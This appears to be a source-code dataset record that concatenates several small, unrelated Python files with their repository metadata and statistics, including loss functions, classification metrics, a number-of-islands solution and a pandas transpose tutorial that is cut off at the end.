0.073684
95
1
95
95
0.875
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
e7d4017e213f7b9c0ad018ba76865d2c82f24c5f
1,711
py
Python
optim/loss.py
vishalbelsare/PyOptim
bb52678fff5ab6c769bdc35f4cfa3cea5db86b17
[ "MIT" ]
11
2017-04-11T22:34:18.000Z
2022-03-22T03:37:49.000Z
optim/loss.py
vishalbelsare/PyOptim
bb52678fff5ab6c769bdc35f4cfa3cea5db86b17
[ "MIT" ]
null
null
null
optim/loss.py
vishalbelsare/PyOptim
bb52678fff5ab6c769bdc35f4cfa3cea5db86b17
[ "MIT" ]
8
2018-07-01T08:38:10.000Z
2021-06-23T12:16:34.000Z
""" Loss module """ # Author: Remi Flamary <remi.flamary@unice.fr> # # License: MIT License import numpy as np from .utils import norm def loss_l2(w, X, y, **kwargs): """ least square loss w : current model X : samples * variables matrix y : value to predict, samples vector """ return norm(y - np.dot(X, w))**2 / X.shape[0] / 2 def grad_l2(w, X, y, **kwargs): """ least square loss gradient w : current model X : samples * variables matrix y : value to predict, samples vector """ return -1 * np.dot(X.T, y - np.dot(X, w)) / X.shape[0] def loss_hinge2(w, X, y, **kwargs): """ hinge loss w : current model X : samples * variables matrix y : value to predict, samples vector """ err = np.maximum(0, 1. - y * (np.dot(X, w))) return norm(err)**2 / X.shape[0] / 2 def grad_hinge2(w, X, y, **kwargs): """ least square loss gradient w : current model X : samples * variables matrix y : value to predict, samples vector """ err = np.maximum(0, 1. - y * (np.dot(X, w))) return -1 * np.dot(X.T, err * y) / X.shape[0] def loss_reglog(w, X, y, **kwargs): """ logistic regression loss w : current model X : samples * variables matrix y : value to predict, samples vector """ p = np.exp(-y * (np.dot(X, w))) return np.sum(np.log(1. + p)) / X.shape[0] def grad_reglog(w, X, y, **kwargs): """ logistic regression loss gradient w : current model X : samples * variables matrix y : value to predict, samples vector """ p = np.exp(-y * (np.dot(X, w))) P = p / (1. + p) return -1 * np.dot(X.T, P * y) / X.shape[0]
19.443182
58
0.560491
266
1,711
3.582707
0.199248
0.047219
0.056663
0.056663
0.83001
0.761805
0.724029
0.690451
0.596013
0.596013
0
0.018806
0.285213
1,711
87
59
19.666667
0.760425
0.434249
0
0.210526
0
0
0
0
0
0
0
0
0
1
0.315789
false
0
0.105263
0
0.736842
0
0
0
0
null
0
0
0
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
5
99e9f3ff62caef8378aee4b8d3352f0cf0a7567f
164
py
Python
tests/test_log.py
benvial/gyptis
3f197fe33d0a0bac72be05a474baff4e450af0ab
[ "MIT" ]
null
null
null
tests/test_log.py
benvial/gyptis
3f197fe33d0a0bac72be05a474baff4e450af0ab
[ "MIT" ]
null
null
null
tests/test_log.py
benvial/gyptis
3f197fe33d0a0bac72be05a474baff4e450af0ab
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- # Author: Benjamin Vial # License: MIT import numpy as np from gyptis.utils.log import * def test_all(): pass
12.615385
30
0.652439
25
164
4.24
0.96
0
0
0
0
0
0
0
0
0
0
0.007634
0.20122
164
12
31
13.666667
0.801527
0.469512
0
0
0
0
0
0
0
0
0
0
0
1
0.25
true
0.25
0.5
0
0.75
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
1
1
0
0
0
0
5
82010c008f6bf2d3131602598dfac21cabbc9cce
149
py
Python
ex002.py
Rhodytesla/PythonMundo01
bac3e1a7ca3934c712423bfc606d16a4ea9af53a
[ "MIT" ]
null
null
null
ex002.py
Rhodytesla/PythonMundo01
bac3e1a7ca3934c712423bfc606d16a4ea9af53a
[ "MIT" ]
null
null
null
ex002.py
Rhodytesla/PythonMundo01
bac3e1a7ca3934c712423bfc606d16a4ea9af53a
[ "MIT" ]
null
null
null
dia = input('informe o dia do seu nascimento: ') mes = input('agora informe o mes: ') ano = input('agora informe o ano: ') print(dia,'/',mes,'/',ano)
37.25
48
0.644295
24
149
4
0.458333
0.25
0.354167
0.375
0
0
0
0
0
0
0
0
0.154362
149
4
49
37.25
0.761905
0
0
0
0
0
0.513333
0
0
0
0
0
0
1
0
false
0
0
0
0
0.25
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
82290ca0b1b14af193d0e103aee60b8aaee17591
42
py
Python
certbot/certbot/tests/__init__.py
silverbacknet/certbot
270b5535e24fd3dab4c05fa8929adca8117942f1
[ "Apache-2.0" ]
16,789
2016-05-06T19:49:59.000Z
2022-03-31T20:01:47.000Z
certbot/certbot/tests/__init__.py
silverbacknet/certbot
270b5535e24fd3dab4c05fa8929adca8117942f1
[ "Apache-2.0" ]
5,737
2016-05-06T19:26:43.000Z
2022-03-31T20:27:38.000Z
certbot/certbot/tests/__init__.py
silverbacknet/certbot
270b5535e24fd3dab4c05fa8929adca8117942f1
[ "Apache-2.0" ]
2,974
2016-05-06T19:51:23.000Z
2022-03-31T21:01:36.000Z
"""Utilities for running Certbot tests"""
21
41
0.738095
5
42
6.2
1
0
0
0
0
0
0
0
0
0
0
0
0.119048
42
1
42
42
0.837838
0.833333
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
5
8235a26735e708ef0537610a0bc0b03aa0dedb5f
719
py
Python
tests/helpers/__init__.py
cffbots/howfairis
008552b7266e229bd38553631d7dfe3554df18b2
[ "Apache-2.0" ]
27
2020-09-10T10:04:56.000Z
2022-02-07T23:24:13.000Z
tests/helpers/__init__.py
cffbots/howfairis
008552b7266e229bd38553631d7dfe3554df18b2
[ "Apache-2.0" ]
297
2020-09-07T14:10:08.000Z
2022-02-18T09:46:30.000Z
tests/helpers/__init__.py
cffbots/howfairis
008552b7266e229bd38553631d7dfe3554df18b2
[ "Apache-2.0" ]
6
2020-09-10T12:58:37.000Z
2022-03-11T10:17:21.000Z
from .list_user_files_from_local_data import list_user_files_from_local_data from .load_frontend_files_from_local_data import load_frontend_files_from_local_data from .load_repo_files_from_local_data import load_repo_files_from_local_data from .load_snippets_from_local_data import load_snippets_from_local_data from .load_user_files_from_local_data import load_user_files_from_local_data from .get_urls import get_urls from .skip_unreachable import skip_unreachable __all__ = [ "get_urls", "list_user_files_from_local_data", "load_frontend_files_from_local_data", "load_repo_files_from_local_data", "load_snippets_from_local_data", "load_user_files_from_local_data", "skip_unreachable" ]
37.842105
84
0.862309
114
719
4.719298
0.140351
0.250929
0.362454
0.401487
0.834572
0.684015
0
0
0
0
0
0
0.095967
719
18
85
39.944444
0.827692
0
0
0
0
0
0.251739
0.218359
0
0
0
0
0
1
0
false
0
0.4375
0
0.4375
0
0
0
0
null
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
5
823740c5be2beceeb94355a2825fb0d563977985
794
py
Python
test/test_fees_api.py
bcgov/namex-payment-api-py-client
e6e354eb0e70c4789a1ffb1553779ed8c91fd37c
[ "Apache-2.0" ]
null
null
null
test/test_fees_api.py
bcgov/namex-payment-api-py-client
e6e354eb0e70c4789a1ffb1553779ed8c91fd37c
[ "Apache-2.0" ]
6
2020-10-02T21:21:31.000Z
2022-02-13T21:22:46.000Z
test/test_fees_api.py
bcgov/namex-payment-api-py-client
e6e354eb0e70c4789a1ffb1553779ed8c91fd37c
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ SBC Pay API Reference BC Registries Pay API reference documentation # noqa: E501 The version of the OpenAPI document: 1.0.1 Generated by: https://openapi-generator.tech """ from __future__ import absolute_import import unittest import openapi_client from openapi_client.api.fees_api import FeesApi # noqa: E501 from openapi_client.rest import ApiException class TestFeesApi(unittest.TestCase): """FeesApi unit test stubs""" def setUp(self): self.api = openapi_client.api.fees_api.FeesApi() # noqa: E501 def tearDown(self): pass def test_calculate_fees(self): """Test case for calculate_fees Calculate Fees # noqa: E501 """ pass if __name__ == '__main__': unittest.main()
19.365854
70
0.680101
101
794
5.128713
0.504951
0.061776
0.057915
0.07722
0.088803
0
0
0
0
0
0
0.026273
0.232997
794
40
71
19.85
0.824302
0.366499
0
0.142857
1
0
0.017778
0
0
0
0
0
0
1
0.214286
false
0.142857
0.357143
0
0.642857
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
1
1
0
1
0
0
5
82417028e1cf01d3fa63a23c8449d47f83201044
445
py
Python
comments/views.py
making3/summonerqa
7ab8472b2d24236ba1e6919fa0f00881f4a3e633
[ "MIT" ]
null
null
null
comments/views.py
making3/summonerqa
7ab8472b2d24236ba1e6919fa0f00881f4a3e633
[ "MIT" ]
null
null
null
comments/views.py
making3/summonerqa
7ab8472b2d24236ba1e6919fa0f00881f4a3e633
[ "MIT" ]
null
null
null
from django.http import HttpResponse from django.shortcuts import get_object_or_404, render from .models import Comment def index(request): # TODO: Implement lists of comments? Potentially datatables-like filtering. return HttpResponse("Hello....") def detail(request, comment_id): comment = get_object_or_404(Comment, pk=comment_id) context = { 'comment': comment } return render(request, 'comments/index.html', context)
31.785714
79
0.755056
57
445
5.754386
0.561404
0.060976
0.067073
0.085366
0
0
0
0
0
0
0
0.015831
0.148315
445
13
80
34.230769
0.849604
0.164045
0
0
0
0
0.094595
0
0
0
0
0.076923
0
1
0.222222
false
0
0.333333
0.111111
0.777778
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
1
1
1
0
0
5
413ed10c790e29dac3c0b43dba124dda22d4142b
128
py
Python
src/nn/memory_network.py
aquadrop/memory
0f96720abc5cfaddc47c7b461cfd12b2e6cbd9c2
[ "MIT" ]
2
2017-10-25T15:17:15.000Z
2017-12-05T01:31:51.000Z
src/nn/memory_network.py
aquadrop/memory
0f96720abc5cfaddc47c7b461cfd12b2e6cbd9c2
[ "MIT" ]
null
null
null
src/nn/memory_network.py
aquadrop/memory
0f96720abc5cfaddc47c7b461cfd12b2e6cbd9c2
[ "MIT" ]
2
2017-10-30T07:29:06.000Z
2017-12-05T05:50:53.000Z
class MemoryNetwork: def __init__(self): print("memory network") def predict(self, query): return None
18.285714
31
0.625
14
128
5.428571
0.857143
0
0
0
0
0
0
0
0
0
0
0
0.28125
128
6
32
21.333333
0.826087
0
0
0
0
0
0.109375
0
0
0
0
0
0
1
0.4
false
0
0
0.2
0.8
0.2
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
5
414d2ce589dbddbcf8844840b08deaaead443ffc
3,926
py
Python
module/metrics/metrics.py
abhinavg97/baseline_simpletransformers_classification
178881178b211e321683c1e338bb06e6e334d7fa
[ "Unlicense" ]
null
null
null
module/metrics/metrics.py
abhinavg97/baseline_simpletransformers_classification
178881178b211e321683c1e338bb06e6e334d7fa
[ "Unlicense" ]
null
null
null
module/metrics/metrics.py
abhinavg97/baseline_simpletransformers_classification
178881178b211e321683c1e338bb06e6e334d7fa
[ "Unlicense" ]
null
null
null
import torch from pytorch_lightning.metrics.classification import Accuracy, Precision, Recall, Fbeta from pytorch_lightning.metrics.utils import METRIC_EPS from sklearn.metrics import recall_score as r_avg, precision_score as p_avg, f1_score as f1_avg def accuracy_score(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) accuracy = Accuracy(threshold=0.5) return accuracy(predictions, labels).item() def precision_score(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) precision = Precision(num_classes=len(labels[0]), average='macro', multilabel=True, threshold=0.5) return precision(predictions, labels).item() def micro_precision_score(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) precision = Precision(num_classes=len(labels[0]), average='micro', multilabel=True, threshold=0.5) return precision(predictions, labels).item() def weighted_precision_score(labels, predictions): pred = torch.Tensor(predictions) true = torch.Tensor(labels) return p_avg(true, pred, average='weighted') def class_wise_precision_scores(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) precision = Precision(num_classes=len(labels[0]), average='macro', multilabel=True, threshold=0.5) precision(predictions, labels) class_wise_scores = precision.true_positives.float() / (precision.predicted_positives + METRIC_EPS) return class_wise_scores.tolist() def recall_score(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) recall = Recall(num_classes=len(labels[0]), average='macro', multilabel=True, threshold=0.5) return recall(predictions, labels).item() def micro_recall_score(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) recall = Recall(num_classes=len(labels[0]), average='micro', multilabel=True, threshold=0.5) return recall(predictions, labels).item() def weighted_recall_score(labels, predictions): pred = torch.Tensor(predictions) true = torch.Tensor(labels) return r_avg(true, pred, average='weighted') def class_wise_recall_scores(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) recall = Recall(num_classes=len(labels[0]), average='macro', multilabel=True, threshold=0.5) recall(predictions, labels) class_wise_scores = recall.true_positives.float() / (recall.actual_positives + METRIC_EPS) return class_wise_scores.tolist() def f1_score(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) f_beta = Fbeta(num_classes=len(labels[0]), average='macro', multilabel=True, threshold=0.5) return f_beta(predictions, labels).item() def micro_f1_score(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) f_beta = Fbeta(num_classes=len(labels[0]), average='micro', multilabel=True, threshold=0.5) return f_beta(predictions, labels).item() def weighted_f1_score(labels, predictions): pred = torch.Tensor(predictions) true = torch.Tensor(labels) return f1_avg(true, pred, average='weighted') def class_wise_f1_scores(labels, predictions): predictions = torch.Tensor(predictions) labels = torch.Tensor(labels) f_beta = Fbeta(num_classes=len(labels[0]), average='macro', multilabel=True, threshold=0.5) f_beta(predictions, labels) precision = f_beta.true_positives.float() / (f_beta.predicted_positives + METRIC_EPS) recall = f_beta.true_positives.float() / (f_beta.actual_positives + METRIC_EPS) class_wise_scores = 2*(precision * recall) / (precision + recall + METRIC_EPS) return class_wise_scores.tolist()
38.871287
103
0.747071
495
3,926
5.761616
0.10303
0.100281
0.100281
0.115708
0.806452
0.770337
0.770337
0.738079
0.698107
0.664446
0
0.010921
0.137035
3,926
100
104
39.26
0.830874
0
0
0.554054
0
0
0.017575
0
0
0
0
0
0
1
0.175676
false
0
0.054054
0
0.405405
0
0
0
0
null
0
0
0
1
1
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
41824d7ddd06225e33c69fa1c319f0d28acf590f
4,604
py
Python
src/200-NumberOfIslands.py
Jiezhi/myleetcode
b346e94c46da2a3033ebc8ff50e621aa179c4f62
[ "MIT" ]
1
2022-03-03T15:11:48.000Z
2022-03-03T15:11:48.000Z
src/200-NumberOfIslands.py
Jiezhi/myleetcode
b346e94c46da2a3033ebc8ff50e621aa179c4f62
[ "MIT" ]
null
null
null
src/200-NumberOfIslands.py
Jiezhi/myleetcode
b346e94c46da2a3033ebc8ff50e621aa179c4f62
[ "MIT" ]
2
2022-01-20T22:49:58.000Z
2022-01-20T22:53:13.000Z
#!/usr/bin/env python """ Created on 2019/11/22 Des: https://leetcode.com/problems/number-of-islands/ https://leetcode.com/explore/learn/card/queue-stack/231/practical-application-queue/1374/ """ from queue import Queue from typing import List class Solution: def numIslands(self, grid: List[List[str]]) -> int: if not grid: return 0 islands = 0 height = len(grid) length = len(grid[0]) q = Queue(height * length) visited = set() for h in range(height): for l in range(length): if grid[h][l] == '1' and (h, l) not in visited: q.put((h, l)) visited.add((h, l)) while not q.empty(): (th, tl) = q.get() # Up if th > 0 and grid[th - 1][tl] == '1' and (th - 1, tl) not in visited: q.put((th - 1, tl)) visited.add((th - 1, tl)) # Left if tl > 0 and grid[th][tl - 1] == '1' and (th, tl - 1) not in visited: q.put((th, tl - 1)) visited.add((th, tl - 1)) # Down if th < height - 1 and grid[th + 1][tl] == '1' and (th + 1, tl) not in visited: q.put((th + 1, tl)) visited.add((th + 1, tl)) # Right if tl < length - 1 and grid[th][tl + 1] == '1' and (th, tl + 1) not in visited: q.put((th, tl + 1)) visited.add((th, tl + 1)) islands += 1 return islands def test(): land = [ ['1', '1', '1', '1', '0'], ['1', '1', '0', '1', '0'], ['1', '1', '0', '0', '0'], ['0', '0', '0', '0', '0'] ] assert Solution().numIslands(land) == 1 land = [ ['1', '1', '0', '0', '0'], ['1', '1', '0', '0', '0'], ['0', '0', '1', '0', '0'], ['0', '0', '0', '1', '1'], ] assert Solution().numIslands(land) == 3 assert Solution().numIslands([]) == 0 land = [["1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "1", "1", "1", "1", "0", "1", "0", "1", "1"], ["0", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "0"], ["1", "0", "1", "1", "1", "0", "0", "1", "1", "0", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "0", "0", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "0", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "0", "1", "1", "1", "0", "1", "1", "1"], ["0", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "0", "1", "1", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "0", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["0", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "1"], ["1", "0", "1", "1", "1", "1", "1", "0", "1", "1", "1", "0", "1", "1", "1", "1", "0", "1", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "1", "1", "0"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "0", "1", "1", "1", "1", "0", "0"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"], ["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1"] ] Solution().numIslands(land) if __name__ == '__main__': test()
48.463158
113
0.281712
685
4,604
1.881752
0.105109
0.527541
0.698216
0.837859
0.53685
0.514352
0.514352
0.505043
0.49263
0.485648
0
0.165085
0.359253
4,604
94
114
48.978723
0.271864
0.045178
0
0.138889
0
0
0.103354
0
0
0
0
0
0.041667
1
0.027778
false
0
0.027778
0
0.097222
0
0
0
1
null
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5
68b70b86cd92e41a35094d3f5ac1f606da3a4568
1,005
py
Python
gridftp/net_manager/test/return_function_called_module.py
chrisburr/gct
26b739dbdedbc7c693d26aa31202de40af5391fa
[ "Apache-2.0" ]
30
2017-10-27T19:58:16.000Z
2022-03-21T03:26:37.000Z
gridftp/net_manager/test/return_function_called_module.py
chrisburr/gct
26b739dbdedbc7c693d26aa31202de40af5391fa
[ "Apache-2.0" ]
108
2017-11-01T20:22:38.000Z
2022-03-25T18:33:20.000Z
gridftp/net_manager/test/return_function_called_module.py
chrisburr/gct
26b739dbdedbc7c693d26aa31202de40af5391fa
[ "Apache-2.0" ]
31
2017-10-27T16:04:01.000Z
2022-03-21T03:26:43.000Z
MODULE_NAME = "return_function_called_module" FUNCTION = "function" def pre_listen(task_id, transport, attrs): return [(MODULE_NAME, FUNCTION, "pre_listen")] def post_listen(task_id, transport, local_contact, attrs): return '', [(MODULE_NAME, FUNCTION, "post_listen")] def end_listen(task_id, transport, local_contact, attrs): return def pre_accept(task_id, transport, local_contact, attrs): return [(MODULE_NAME, FUNCTION, "pre_accept")] def post_accept(task_id, transport, local_contact, remote_contact, attrs): return [(MODULE_NAME, FUNCTION, "post_accept")] def pre_connect(task_id, transport, remote_contact, attrs): return '', [(MODULE_NAME, FUNCTION, "pre_connect")] def post_connect(task_id, transport, local_contact, remote_contact, attrs): return [(MODULE_NAME, FUNCTION, "post_connect")] def pre_close(task_id, transport, local_contact, remote_contact, attrs): return def post_close(task_id, transport, local_contact, remote_contact, attrs): return
33.5
75
0.756219
134
1,005
5.328358
0.149254
0.07563
0.189076
0.196078
0.722689
0.722689
0.661064
0.588235
0.518207
0.518207
0
0
0.127363
1,005
29
76
34.655172
0.814139
0
0
0.15
0
0
0.101493
0.028856
0
0
0
0
0
1
0.45
false
0
0
0.45
0.9
0
0
0
0
null
0
1
1
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
5
68d38980bc98ea80a671d439d379b57aaf573bf1
85
py
Python
calm_cache/backends/__init__.py
ramwin/django-calm-cache
33e1474cfbccf197d728aebb178a6c9989a93724
[ "BSD-3-Clause" ]
null
null
null
calm_cache/backends/__init__.py
ramwin/django-calm-cache
33e1474cfbccf197d728aebb178a6c9989a93724
[ "BSD-3-Clause" ]
null
null
null
calm_cache/backends/__init__.py
ramwin/django-calm-cache
33e1474cfbccf197d728aebb178a6c9989a93724
[ "BSD-3-Clause" ]
null
null
null
from .calmcache import CalmCache from .memcached import MemcachedCache, PyLibMCCache
28.333333
51
0.858824
9
85
8.111111
0.666667
0
0
0
0
0
0
0
0
0
0
0
0.105882
85
2
52
42.5
0.960526
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
ec07dd7e85564efecbb8cacc2f2c635ecef34227
51
py
Python
example/tools/ipython.py
jvolkman/rules_python_cross
7d6426a9c929c8a789d0edb502f29474ecf8a63c
[ "Apache-2.0" ]
4
2022-03-29T13:58:58.000Z
2022-03-31T11:10:28.000Z
example/tools/ipython.py
jvolkman/rules_python_cross
7d6426a9c929c8a789d0edb502f29474ecf8a63c
[ "Apache-2.0" ]
null
null
null
example/tools/ipython.py
jvolkman/rules_python_cross
7d6426a9c929c8a789d0edb502f29474ecf8a63c
[ "Apache-2.0" ]
null
null
null
from IPython import start_ipython start_ipython()
12.75
33
0.843137
7
51
5.857143
0.571429
0.585366
0
0
0
0
0
0
0
0
0
0
0.117647
51
3
34
17
0.911111
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
5
ec1540e163be6215b6243e9f91a0c755ef1c7e2e
132
py
Python
esabin/__init__.py
lkilcommons/esabin
423411338a35f1882a0b6e7c6d838b48079f3e14
[ "MIT" ]
null
null
null
esabin/__init__.py
lkilcommons/esabin
423411338a35f1882a0b6e7c6d838b48079f3e14
[ "MIT" ]
null
null
null
esabin/__init__.py
lkilcommons/esabin
423411338a35f1882a0b6e7c6d838b48079f3e14
[ "MIT" ]
null
null
null
#C 2019 University of Colorado AES-CCAR-SEDA (Space Environment Data Analysis) Group from esabin import esagrid,esafile,spheretools
44
84
0.833333
19
132
5.789474
1
0
0
0
0
0
0
0
0
0
0
0.034188
0.113636
132
2
85
66
0.905983
0.628788
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
6b50d0ca93fddfaa923a8b49b9c64bee1ff6b96b
116
py
Python
src/gittr/cli/__init__.py
zeroae/ght.cli
81a2b4b75445c3dd9f296cb485229f2d10cd4215
[ "BSD-3-Clause" ]
null
null
null
src/gittr/cli/__init__.py
zeroae/ght.cli
81a2b4b75445c3dd9f296cb485229f2d10cd4215
[ "BSD-3-Clause" ]
3
2020-07-20T16:02:28.000Z
2020-08-18T23:36:40.000Z
src/gittr/cli/__init__.py
zeroae/ght.cli
81a2b4b75445c3dd9f296cb485229f2d10cd4215
[ "BSD-3-Clause" ]
null
null
null
"""Top-level package for GIT Template Render (GITTR).""" from ._version import version as __version__ # noqa: F401
38.666667
58
0.741379
16
116
5.0625
0.875
0
0
0
0
0
0
0
0
0
0
0.030303
0.146552
116
2
59
58
0.787879
0.534483
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
5
6b5abde1506ac24c1affee5424844abedc285b20
3,997
py
Python
notebook/pandas_transpose.py
vhn0912/python-snippets
80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038
[ "MIT" ]
174
2018-05-30T21:14:50.000Z
2022-03-25T07:59:37.000Z
notebook/pandas_transpose.py
vhn0912/python-snippets
80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038
[ "MIT" ]
5
2019-08-10T03:22:02.000Z
2021-07-12T20:31:17.000Z
notebook/pandas_transpose.py
vhn0912/python-snippets
80b2e1d6b2b8f12ae30d6dbe86d25bb2b3a02038
[ "MIT" ]
53
2018-04-27T05:26:35.000Z
2022-03-25T07:59:37.000Z
import pandas as pd df = pd.DataFrame({'X': [0, 1, 2], 'Y': [3, 4, 5]}, index=['A', 'B', 'C']) print(df) # X Y # A 0 3 # B 1 4 # C 2 5 print(df.T) # A B C # X 0 1 2 # Y 3 4 5 print(df.transpose()) # A B C # X 0 1 2 # Y 3 4 5 df = df.T print(df) # A B C # X 0 1 2 # Y 3 4 5 df = pd.DataFrame({'X': [0, 1, 2], 'Y': [3, 4, 5]}, index=['A', 'B', 'C']) print(df) # X Y # A 0 3 # B 1 4 # C 2 5 print(df.dtypes) # X int64 # Y int64 # dtype: object print(df.T) # A B C # X 0 1 2 # Y 3 4 5 print(df.T.dtypes) # A int64 # B int64 # C int64 # dtype: object df_mix = pd.DataFrame({'col_int': [0, 1, 2], 'col_float': [0.1, 0.2, 0.3]}, index=['A', 'B', 'C']) print(df_mix) # col_int col_float # A 0 0.1 # B 1 0.2 # C 2 0.3 print(df_mix.dtypes) # col_int int64 # col_float float64 # dtype: object print(df_mix.T) # A B C # col_int 0.0 1.0 2.0 # col_float 0.1 0.2 0.3 print(df_mix.T.dtypes) # A float64 # B float64 # C float64 # dtype: object print(df_mix.T.T) # col_int col_float # A 0.0 0.1 # B 1.0 0.2 # C 2.0 0.3 print(df_mix.T.T.dtypes) # col_int float64 # col_float float64 # dtype: object df_mix2 = pd.DataFrame({'col_int': [0, 1, 2], 'col_float': [0.1, 0.2, 0.3], 'col_str': ['a', 'b', 'c']}, index=['A', 'B', 'C']) print(df_mix2) # col_int col_float col_str # A 0 0.1 a # B 1 0.2 b # C 2 0.3 c print(df_mix2.dtypes) # col_int int64 # col_float float64 # col_str object # dtype: object print(df_mix2.T) # A B C # col_int 0 1 2 # col_float 0.1 0.2 0.3 # col_str a b c print(df_mix2.T.dtypes) # A object # B object # C object # dtype: object print(df_mix2.T.T) # col_int col_float col_str # A 0 0.1 a # B 1 0.2 b # C 2 0.3 c print(df_mix2.T.T.dtypes) # col_int object # col_float object # col_str object # dtype: object df = pd.DataFrame({'X': [0, 1, 2], 'Y': [3, 4, 5]}, index=['A', 'B', 'C']) print(df) # X Y # A 0 3 # B 1 4 # C 2 5 df_T = df.T print(df_T) # A B C # X 0 1 2 # Y 3 4 5 df_transpose = df.transpose() print(df_transpose) # A B C # X 0 1 2 # Y 3 4 5 df.at['A', 'X'] = 100 print(df) # X Y # A 100 3 # B 1 4 # C 2 5 print(df_T) # A B C # X 100 1 2 # Y 3 4 5 print(df_transpose) # A B C # X 100 1 2 # Y 3 4 5 df_mix = pd.DataFrame({'col_int': [0, 1, 2], 'col_float': [0.1, 0.2, 0.3]}, index=['A', 'B', 'C']) print(df_mix) # col_int col_float # A 0 0.1 # B 1 0.2 # C 2 0.3 df_mix_T = df_mix.T print(df_mix_T) # A B C # col_int 0.0 1.0 2.0 # col_float 0.1 0.2 0.3 df_mix_transpose = 